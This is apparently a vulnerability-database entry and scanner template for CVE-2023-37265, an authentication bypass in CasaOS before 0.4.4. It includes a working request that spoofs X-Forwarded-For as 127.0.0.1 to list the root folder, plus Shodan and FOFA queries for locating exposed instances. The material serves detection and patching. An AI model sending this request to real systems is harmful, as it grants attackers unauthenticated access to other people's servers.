CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
91.4%
CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as `root` on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in `391dd7f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
id: CVE-2023-37265
info:
name: CasaOS < 0.4.4 - Authentication Bypass via Internal IP
author: iamnoooob,DhiyaneshDK,pdresearch
severity: critical
description: |
CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as `root` on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in `391dd7f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
impact: |
Successful exploitation allows unauthorized access to the CasaOS system.
remediation: The problem was addressed by improving the detection of client IP addresses in 391dd7f. This patch is part of CasaOS 0.4.4.
reference:
- https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad
- https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
- https://github.com/IceWhaleTech/CasaOS-Gateway/commit/391dd7f0f239020c46bf057cfa25f82031fc15f7
- https://github.com/IceWhaleTech/CasaOS-Gateway/security/advisories/GHSA-vjh7-5r6x-xh6g
- https://github.com/komodoooo/Some-things
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-37265
cwe-id: CWE-306
epss-score: 0.04239
epss-percentile: 0.92256
cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: icewhale
product: casaos
shodan-query:
- http.html:"/CasaOS-UI/public/index.html"
- http.html:"/casaos-ui/public/index.html"
fofa-query:
- body="/CasaOS-UI/public/index.html"
- body="/casaos-ui/public/index.html"
tags: cve,cve2023,oss,casaos,jwt,icewhale
http:
- method: GET
path:
- "{{BaseURL}}/v1/folder?path=%2F"
headers:
X-Forwarded-For: 127.0.0.1
matchers:
- type: word
words:
- '"success":200'
- '"message":"ok"'
- 'content'
- 'is_dir'
condition: and
extractors:
- type: json
json:
- .data.content[].path
# digest: 4a0a0047304502210092e7feb36eb07c8db0b80eaa34f7e592db62d2606ea13aee0a454012c8c50ce8022016de26dfbe4663f37ecdbf2ec8db1d12daf769005479d30d009b3c3939eb020c:922c64590222798bb761d5b6d8e72950
github.com/IceWhaleTech/CasaOS-Gateway/commit/391dd7f0f239020c46bf057cfa25f82031fc15f7
github.com/IceWhaleTech/CasaOS-Gateway/security/advisories/GHSA-vjh7-5r6x-xh6g
github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad
github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
github.com/komodoooo/Some-things
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
91.4%